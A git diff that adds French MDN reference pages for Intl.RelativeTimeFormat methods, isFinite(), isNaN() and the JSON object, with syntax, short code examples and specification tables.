+  Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat/resolvedOptions
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Intl.RelativeTimeFormat.prototype.resolvedOptions()</code></strong> renvoie un nouvel objet dont les propriétés reflètent les options de format et de locale pour les valeurs temporelles relatives, calculées pendant l'initialisation de l'objet {{jsxref("RelativeTimeFormat")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-relativetimeformat-prototype-resolvedoptions.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>relativeTimeFormat</var>.resolvedOptions()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet dont les propriétés reflètent les options de locale et de formatage calculées lors de l'initialisation de l'objet {{jsxref("RelativeTimeFormat")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet renvoyé par cette méthode possèdera les propriétés suivantes :</p>
+
+<dl>
+ <dt><code>locale</code></dt>
+ <dd>La balise de langue BCP 47 qui est réellement utilisée. Si des extensions Unicode étaient fournies avec la balise d'origine et sont supportées pour la locale utilisée, les paires de clés-valeurs seront incluses dans <code>locale</code>.</dd>
+ <dt><code>style</code></dt>
+ <dd>La longueur du message internationalisé. Les valeurs possibles sont :
+ <ul>
+  <li><code>"long"</code> : la valeur par défaut, peu concise (par exemple <code>in 1 month</code>)</li>
+  <li><code>"short"</code> : une valeur plus courte (par exemple <code>in 1 mo.</code>),</li>
+  <li><code>"narrow"</code> : une valeur encore plus courte (pouvant être ambigüe selon les locales) (par exemple <code>in 1 mo.</code>). Les styles <code>narrow</code> et <code>short</code> peuvent être similaires voire identiques pour certaines locales.</li>
+ </ul>
+ </dd>
+ <dt><code>numeric</code></dt>
+ <dd>Le format du message produit. Les valeurs possibles sont :
+ <ul>
+  <li><code>"always"</code> : la valeur par défaut (par exemple  <code>1 day ago</code>),</li>
+  <li><code>"auto"</code> : cette valeur indique qu'il n'est pas nécessaire d'utiliser de valeur numérique dans le message produit (par exemple <code>yesterday</code>).</li>
+ </ul>
+ </dd>
+ <dt><code>numberingSystem</code></dt>
+ <dd>La valeur demandée pour la clé d'extension Unicode <code>"nu"</code> ou la valeur remplie par défaut.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var de = new Intl.RelativeTimeFormat('de-DE');
+var usedOptions = de.resolvedOptions();
+
+usedOptions.locale;          // "de-DE"
+usedOptions.style;           // "long"
+usedOptions.numeric;         // "always"
+usedOptions.numberingSystem; // "latn"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-relative-time/#sec-intl.relativetimeformat.prototype.resolvedoptions">Proposition pour <code>Intl.RelativeTime</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.RelativeTimeFormat.resolvedOptions")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/supportedlocalesof/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/supportedlocalesof/index.html
new file mode 100644
index 0000000000..be0599106c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/supportedlocalesof/index.html
@@ -0,0 +1,87 @@
+---
+title: Intl.RelativeTimeFormat.supportedLocalesOf()
+slug: >-
+  Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat/supportedLocalesOf
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: >-
+  Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat/supportedLocalesOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Intl.RelativeTimeFormat.supportedLocalesOf()</code></strong> renvoie un tableau contenant l'ensemble des locales, parmi celles fournies en argument, qui sont prises en charge pour le formatage internationalisé du temps relatif, sans avoir à utiliser la locale par défaut de l'environnement d'exécution.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-relativetimeformat-prototype-supportedlocalesof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>Intl.RelativeTimeFormat.supportedLocalesOf(<var>locales</var>[, <var>options</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>Un chaîne de caractères au format d'une balise de langue BCP 47 ou bien un tableau de telles chaînes. Pour plus d'informations sur le format de l'argument <code>locales</code>, voir la page {{jsxref("Intl", "Intl", "#L'identification_et_le_choix_de_la_locale")}}.</dd>
+ <dt><code>options</code></dt>
+ <dd>
+ <p>Paramètre optionnel, un objet pouvant avoir la propriété suivante :</p>
+
+ <dl>
+  <dt><code>localeMatcher</code></dt>
+  <dd>L'algorithme de correspondance entre locales à utiliser. Les valeurs possibles sont "lookup" et "best fit". Pour plus d'informations sur ce sujet, voir la page {{jsxref("Intl", "Intl", "#Choix_de_la_locale")}}.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau de chaînes de caractères qui représente un sous-ensemble des balises de langue qui sont prises en charge pour la mise en forme du temps relatif sans qu'il soit nécessaire d'utiliser la locale par défaut de l'environnement d'exécution.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode renvoie un tableau qui est un sous-ensemble de <code>locales</code>. Les balises de langues renvoyées sont celles supportées par l'environnement pour le formatage des temps relatifs. Ces balises sont déterminées en fonction de l'algorithme de correspondances de locale et des locales utilisées. Le tableau résultant fournit les locales qui permettent de ne pas avoir à utiliser la locale par défaut.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Utiliser_supportedLocalesOf">Utiliser <code>supportedLocalesOf()</code></h3>
+
+<p>Si on dispose d'un environnement qui supporte les locales indonésienne et allemande mais pas balinaise pour le formatage des temps relatifs, <code>supportedLocalesOf</code> renverra les balises BCP 47 pour l'indonésien et l'allemand (bien que la collation pinyin ne soit pas pertinente pour les dates ni pour l'indonésien et qu'il soit peu probable qu'une variante indonésienne existe pour l'allemand). Pour l'exemple, on l'utilise l'algorithme <code>"lookup"</code>. Si on utilisait <code>"best fit"</code>, on pourrait considérer que l'indonésien est adéquat pour la locale balinaise (sachant que la plupart des balinais comprend l'indonésien) et donc également renvoyer la balise balinaise.</p>
+
+<pre>var locales = ['ban', 'id-u-co-pinyin', 'de-ID'];var options = { localeMatcher: 'lookup' };console.log(Intl.RelativeTimeFormat.supportedLocalesOf(locales, options).join(', '));// → "id-u-co-pinyin, de-ID"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-relative-time/#sec-Intl.RelativeTimeFormat.supportedLocalesOf">Proposition pour <code>Intl.RelativeTime</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.RelativeTimeFormat.supportedLocalesOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/isfinite/index.html b/files/fr/web/javascript/reference/objets_globaux/isfinite/index.html
new file mode 100644
index 0000000000..314a85183d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/isfinite/index.html
@@ -0,0 +1,101 @@
+---
+title: isFinite()
+slug: Web/JavaScript/Reference/Objets_globaux/isFinite
+tags:
+  - Fonction
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/isFinite
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>La fonction globale <code><strong>isFinite()</strong></code> détermine si la valeur passée en argument est un nombre fini. Si nécessaire, le paramètre est d'abord converti en nombre.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-isfinite.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">isFinite(<var>valeurÀTester</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurÀTester</code></dt>
+ <dd>La valeur dont on souhaite savoir si elle est finie ou non.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>false</code> si la valeur passée en argument vaut {{jsxref("Infinity")}} (en positif ou en négatif),{{jsxref("NaN")}} ou {{jsxref("undefined")}}, <code>true</code> sinon.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>isFinite()</code> est une fonction qui n'est rattachée à aucun objet et qui est disponible au plus haut niveau.</p>
+
+<p>Cette fonction peut être utilisée pour déterminer si un nombre est fini ou non. La fonction <code>isFinite()</code> examine le nombre passé en argument : si celui-ci vaut {{jsxref("NaN")}}, {{jsxref("Infinity")}} (pour l'infini) ou {{jsxref("Infinity","-Infinity")}} (pour l'infini négatif), cette fonction renvoie <code>false</code> sinon elle renvoie <code>true</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">isFinite(Infinity);  // false
+isFinite(NaN);       // false
+isFinite(-Infinity); // false
+
+isFinite(0);         // true
+isFinite(2e64);      // true
+isFinite(910);       // true
+isFinite(null);      // true, ce qui aurait été false
+                     // avec la méthode Number.isFinite(null)
+
+
+isFinite("0");       // true ce qui aurait été false
+                     // avec la méthode Number.isFinite("0")
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.5', 'isFinite')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-isfinite-number', 'isFinite')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-isfinite-number', 'isFinite')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.isFinite")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.isFinite()")}}</li>
+ <li>{{jsxref("Number.NaN")}}</li>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/isnan/index.html b/files/fr/web/javascript/reference/objets_globaux/isnan/index.html
new file mode 100644
index 0000000000..f1f8d4ea70
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/isnan/index.html
@@ -0,0 +1,155 @@
+---
+title: isNaN()
+slug: Web/JavaScript/Reference/Objets_globaux/isNaN
+tags:
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/isNaN
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>La fonction <code><strong>isNaN()</strong></code> permet de déterminer si une valeur est {{jsxref("NaN")}}. On notera que cette fonction utilise des règles de conversion différentes de {{jsxref("Number.isNaN()")}}, définie avec ECMAScript 2015 (ES6).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-isnan.html")}}</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">isNaN(<var>valeurÀTester</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeurÀTester</code></dt>
+ <dd>La valeur dont on souhaite déterminer si elle est {{jsxref("NaN")}}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>true</code> si la valeur fournie vaut {{jsxref("NaN")}}, sinon, la méthode renverra <code>false</code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<h3 id="La_nécessité_d'avoir_isNaN()">La nécessité d'avoir <code>isNaN()</code></h3>
+
+<p>À la différence des autres valeurs JavaScript, il est impossible d'utiliser les opérateurs d'égalité faible et stricte ({{jsxref("Opérateurs/Opérateurs_de_comparaison","==","#.C3.89galit.C3.A9_simple_(.3D.3D)")}} et {{jsxref("Opérateurs/Opérateurs_de_comparaison","===","#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)")}}) afin de déterminer si une valeur <em>est </em>ou<em> n'est pas</em> réellement {{jsxref("NaN")}}. En effet <code>NaN == NaN</code> et <code>NaN === NaN</code> renvoient <code>false</code> tous les deux. C'est pour cela qu'il est nécessaire d'avoir la fonction <code>isNaN()</code>.</p>
+
+<h3 id="Les_origines_de_NaN">Les origines de <code>NaN</code></h3>
+
+<p>La valeur <code>NaN</code> est générée lorsqu'une opération arithmétique résulte en une valeur indéfinie ou non représentable. De telles valeurs ne représentent pas nécessairement des dépassements de condition. <code>NaN</code> peut également être le résultat d'une conversion numérique pour les valeurs qui n'ont pas de valeurs numériques correspondantes (par exemple lorsqu'on souhaite convertir la chaîne <code>"toto"</code> en un nombre).</p>
+
+<p>Par exemple, lorsqu'on divise zéro par zéro, on obtient <code>NaN</code>. En revanche, lorsqu'on divise d'autres nombres par zéro, on n'obtient pas ce résultat.</p>
+
+<h3 id="Comportement_étrange_de_isNaN()">Comportement étrange de <code>isNaN()</code></h3>
+
+<p>Depuis les premières spécifications pour <code>isNaN()</code>, son comportement sur les arguments non-numériques a toujours été source de confusion. Lorsque l'argument passé à la fonction n'est pas du type <a href="https://es5.github.com/#x8.5">Number</a>, la valeur est d'abord convertie en une valeur du type Number. La valeur résultante est ensuite utilisée lors du test afin de déterminer si c'est {{jsxref("NaN")}}. Ainsi pour valeurs non numériques qui sont converties en une valeur non-NaN numérique (notamment la chaîne vide, les valeurs booléennes qui donnent zéro ou un), la fonction renverra <code>false</code>, ce qui pourrait être inattendu (en effet, la chaîne vide <em>n'est pas un nombre</em>). Ici, la confusion provient du fait que « not a number » a un sens particulier pour les valeurs numériques représentées selon IEEE-754. Cette fonction doit plutôt être vue comme la réponse à la question « est-ce que cette valeur, lorsqu'elle est convertie en une valeur numérique, correspond à la valeur IEEE-754 "Not A Number" ? ».</p>
+
+<p>La version ECMAScript ES2015 ajoute la méthode {{jsxref("Number.isNaN()")}}. <code>Number.isNaN(x)</code> permettra de tester de façon plus fiable si <code>x</code> vaut <code>NaN</code> ou non. Si on ne dispose pas de cette méthode, on peut également utiliser l'expression <code>(x != x)</code> afin de tester de façon plus certaine si <code>x</code> vaut <code>NaN</code> ou non (en effet le résultat de cette expression n'aura pas les faux positifs de <code>isNaN</code>). Sous cet angle, <code>isNaN()</code> peut être vu comme :</p>
+
+<pre class="brush: js">var isNaN = function(valeur) {
+  return Number.isNaN(Number(valeur));
+};</pre>
+
+<p>Ou encore, en utilisant le fait que <code>NaN</code> est la seule valeur différente d'elle-même :</p>
+
+<pre class="brush: js">var isNaN = function(valeur) {
+  var n = Number(valeur);
+  return n !== n;
+};</pre>
+
+<h3 id="NaN_est_«_empoisonné_»"><code>NaN</code> est « empoisonné »</h3>
+
+<p>Cette fonction peut être utilisée afin de déterminer si la valeur courante peut faire partie d'une expression arithmétique. En effet, si un des composants d'une expression arithmétique vaut <code>NaN</code>, le résultat de l'expression sera <code>NaN</code> également (on dit alors que <code>NaN</code> « empoisonne » l'expression). La méthode <code>isNaN()</code> permet alors de vérifier, avant de construire une expression, que les valeurs utilisées n'empoisonneront pas l'expression.</p>
+
+<p>On peut par exemple construire une fonction dont on souhaite qu'elle incrémente l'argument et que la valeur qu'elle renvoie ne puisse pas être <code>NaN</code>. Le code de cette fonction pourrait être :</p>
+
+<pre class="brush: js">function incrément(x) {
+  if (isNaN(x)){
+    x = 0;
+  }
+  return x + 1;
+}
+
+// En utilisant des notations raccourcies,
+// on pourrait écrire une fonction équivalente
+function incrémentCourt(x) {
+  isNaN(x) ? 1 : x + 1;
+}
+
+incrément("blabla");  // 1
+incrément(1);         // 2
+incrément(NaN);       // 1
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">isNaN(NaN);       // true
+isNaN(undefined); // true
+isNaN({});        // true
+
+isNaN(true);      // false
+isNaN(null);      // false
+isNaN(37);        // false
+
+// strings
+isNaN("37");      // false : "37" est converti vers le nombre 37 qui n'est pas NaN
+isNaN("37.37");   // false : "37.37" est converti vers le nombre 37.37 qui n'est pas NaN
+isNaN("37,25");   // true  : la virgule n'est pas considérée comme un séparateur décimal
+isNaN("123ABC");  // true  : "123ABC" converti en 123 par parseInt mais en NaN par Number
+isNaN("");        // false : la chaîne vide est convertie en 0 qui n'est pas NaN
+isNaN(" ");       // false : une chaîne de blancs est convertie en 0 qui n'est pas NaN
+
+// dates
+isNaN(new Date());                // false
+isNaN(new Date().toString());     // true
+
+// Voici le résultat « faux-positif » qui fait que isNaN n'est pas entièrement fiable
+isNaN("blabla")   // true : "blabla" est converti en un nombre
+                  // Si on souhaite convertir cette valeur en nombre, cela échoue
+                  // et on obtient NaN
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.4', 'isNaN')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-isnan-number', 'isNaN')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-isnan-number', 'isNaN')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.isNaN")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("Number.isNaN()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/json/index.html b/files/fr/web/javascript/reference/objets_globaux/json/index.html
new file mode 100644
index 0000000000..ecc67a2d86
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/json/index.html
@@ -0,0 +1,153 @@
+---
+title: JSON
+slug: Web/JavaScript/Reference/Objets_globaux/JSON
+tags:
+  - JSON
+  - JavaScript
+  - Object
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON
+---
+<div>{{JSRef}}</div>
+
+<p>L’objet <strong><code>JSON</code></strong> contient des méthodes pour interpréter du <a class="external" href="https://json.org/">JSON</a> (JavaScript Object Notation) (voir également la page du glossaire {{glossary("JSON")}}) et convertir des valeurs en JSON. Il ne peut être appelé ou construit, et, en dehors de ses deux méthodes, n’a pas de fonctionnalité propre.</p>
+
+<h2 id="Différences_entres_JavaScript_et_JSON">Différences entres JavaScript et JSON</h2>
+
+<p>JSON est une syntaxe pour sérialiser des objets, tableaux, nombres, chaînes de caractères, booléens et valeurs <em>null</em>. Elle est basée sur la syntaxe de JavaScript mais en est distincte : du code JavaScript n’est pas nécessairement du JSON, et du JSON n’est pas nécessairement du JavaScript.</p>
+
+<ul>
+ <li>Pour les objets et les tableaux
+  <ul>
+   <li>Les noms de propriété doivent être des chaînes de caractères délimitées par des guillements doubles ; les <em>trailing commas</em> sont interdits</li>
+  </ul>
+ </li>
+ <li>Pour les nombres
+  <ul>
+   <li>Les zéros non significatifs sont interdits ; un point décimal doit être suivi d’au moins un chiffre (plus exactement : <code>JSON.stringify()</code> ignorera les zéros mais <code>JSON.parse()</code> déclenchera une exception <code>SyntaxError</code>).</li>
+  </ul>
+ </li>
+ <li>Pour le texte : <strong>tout texte JSON est une expression JavaScript</strong> (pour les moteurs qui implémentent <a href="https://github.com/tc39/proposal-json-superset">cette proposition</a>).
+  <ul>
+   <li>Pour les autres moteurs, seul un jeu limité de caractères peut être échappé ; certains caractères de contrôle sont interdits ; le séparateur de ligne Unicode (<a href="https://unicode-table.com/en/2028/">U+2028</a>) et le séparateur de paragraphe (<a href="https://unicode-table.com/en/2029/">U+2029</a>) sont autorisés en JSON mais pas en JavaScript dans les littéraux de chaînes de caractères.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Dans l'exemple suivant, on utilise {{jsxref("JSON.parse()")}} afin d'analyser la chaîne JSON et <code>eval</code> afin d'exécuter le code correspondant :</p>
+
+<pre class="brush: js">var code = '"\u2028\u2029"';
+JSON.parse(code); // vaut "\u2028\u2029" pour tous les moteurs
+eval(code); // provoque une SyntaxError pour les anciens moteurs</pre>
+
+<h2 id="Syntaxe_complète">Syntaxe complète</h2>
+
+<pre class="syntaxbox"><var>JSON</var> = <strong>null</strong>
+    <em>ou</em> <strong>true</strong> <em>ou</em> <strong>false</strong>
+    <em>ou</em> <var>NombreJSON</var>
+    <em>ou</em> <var>ChaîneJSON</var>
+    <em>ou</em> <var>ObjetJSON</var>
+    <em>ou</em> <var>TableauJSON</var>
+
+<var>NombreJSON</var> = <strong>-</strong> <var>NombrePositif</var>
+          <em>ou</em> <var>NombrePositif</var>
+<var>NombrePositif</var> = NombreDécimal
+              <em>ou</em> <var>NombreDécimal</var> <strong>.</strong> <var>Chiffres</var>
+              <em>ou</em> <var>NombreDécimal</var> <strong>.</strong> <var>Chiffres</var> <var>PartiExposant</var>
+              <em>ou</em> <var>NombreDécimal</var> <var>PartiExposant</var>
+<var>NombreDécimal</var> = <strong>0</strong>
+             <em>ou</em> <var>UnÀNeuf</var> <var>Chiffres</var>
+<var>PartiExposant</var> = <strong>e</strong> <var>Exposant</var>
+            <em>ou</em> <strong>E</strong> <var>Exposant</var>
+<var>Exposant</var> = <var>Chiffres</var>
+        <em>ou</em> <strong>+</strong> <var>Chiffres</var>
+        <em>ou</em> <strong>-</strong> <var>Chiffres</var>
+<var>Chiffres</var> = <var>Chiffre</var>
+      <em>ou</em> <var>Chiffres</var> <var>Chiffre</var>
+<var>Chiffre</var> = <strong>0</strong> à <strong>9</strong>
+<var>UnÀNeuf</var> = <strong>1</strong> à <strong>9</strong>
+
+<var>ChaîneJSON</var> = <strong>""</strong>
+          <em>ou</em> <strong>"</strong> <var>ChaîneCaractères</var> <strong>"</strong>
+<var>ChaîneCaractères</var> = <var>ChaîneCaractère</var>
+                <em>ou</em> <var>ChaîneCaractères</var> <var>ChaîneCaractère</var>
+<var>ChaîneCaractère</var> = un caractère
+                  <em>sauf</em> <strong>"</strong> <em>ou</em> <strong>\</strong> <em>ou</em> U+0000 à U+001F
+               <em>ou</em> <var>SéquenceÉchappement</var>
+<var>SéquenceÉchappement</var> = <strong>\" </strong><em>ou</em> <strong>\/ </strong><em>ou</em> <strong>\\ </strong><em>ou</em> <strong>\b </strong><em>ou</em> <strong>\f </strong><em>ou</em> <strong>\n </strong><em>ou</em> <strong>\r </strong><em>ou</em> <strong>\t</strong>
+              <em>ou</em> <strong>\u</strong> <var>ChifreHexadécimal</var> <var>ChifreHexadécimal</var> <var>ChifreHexadécimal</var> <var>ChifreHexadécimal</var>
+<var>ChifreHexadécimal</var> = <strong>0</strong> à <strong>9</strong>
+        <em>ou</em> <strong>A</strong> à <strong>F</strong>
+        <em>ou</em> <strong>a</strong> à <strong>f</strong>
+
+<var>ObjetJSON</var> = <strong>{</strong> <strong>}</strong>
+          <em>ou</em> <strong>{</strong> <var>Membres</var> <strong>}</strong>
+<var>Membres</var> = <var>ChaîneJSON</var> <strong>:</strong> <var>JSON</var>
+       <em>ou</em> <var>Membres</var> <strong>,</strong> <var>ChaîneJSON</var> <strong>:</strong> <var>JSON</var>
+
+<var>TableauJSON</var> = <strong>[</strong> <strong>]</strong>
+         <em>ou</em> <strong>[</strong> <var>ÉlémentsTableau</var> <strong>]</strong>
+<var>ÉlémentsTableau</var> = <var>JSON</var>
+             <em>ou</em> <var>ÉlémentsTableau</var> <strong>,</strong> <var>JSON</var></pre>
+
+<p>Des espaces blancs insignifiants peuvent être présents n’importe où sauf dans un <code><var>JSONNumber</var></code> (les nombres ne doivent pas contenir d’espaces blancs) ou dans un <code><var>JSONString</var></code> (where it is interpreted as the corresponding character in the string, or would cause an error). Les caractères tabulation (<a href="https://unicode-table.com/en/0009/">U+0009</a>), retour chariot (<a href="https://unicode-table.com/en/000D/">U+000D</a>), saut de ligne (<a href="https://unicode-table.com/en/000A/">U+000A</a>), and espace (<a href="https://unicode-table.com/en/0020/">U+0020</a>) sont les seuls caractères blancs valides.</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("JSON.parse()", "JSON.parse(<var>texte</var>[, <var>revivificateur</var>])")}}</dt>
+ <dd>Analysez le <code>texte</code> de la chaîne comme JSON, transformez éventuellement la valeur produite et ses propriétés, et renvoyez la valeur. Toute violation de la syntaxe JSON, y compris celles concernant les différences entre JavaScript et JSON, entraîne l'envoi d'un {{jsxref("SyntaxError")}}. L'option "<code>revivificateur</code>" permet d'interpréter ce que le <code>remplacement</code> a utilisé pour remplacer d'autres types de données.</dd>
+ <dt>{{jsxref("JSON.stringify()", "JSON.stringify(<var>valeur</var>[, remplacement[, expace]])")}}</dt>
+ <dd>Retourne une chaîne JSON correspondant à la valeur spécifiée, en incluant éventuellement seulement certaines propriétés ou en remplaçant les valeurs des propriétés d'une manière définie par l'utilisateur. Par défaut, toutes les instances de {{jsxref("undefined")}} sont remplacées par {{jsxref("null")}}, et les autres types de données natives non prises en charge sont censurés. L'option de <code>remplacement</code> permet de spécifier un autre comportement.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.12', 'JSON')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-json-object', 'JSON')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-json-object', 'JSON')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
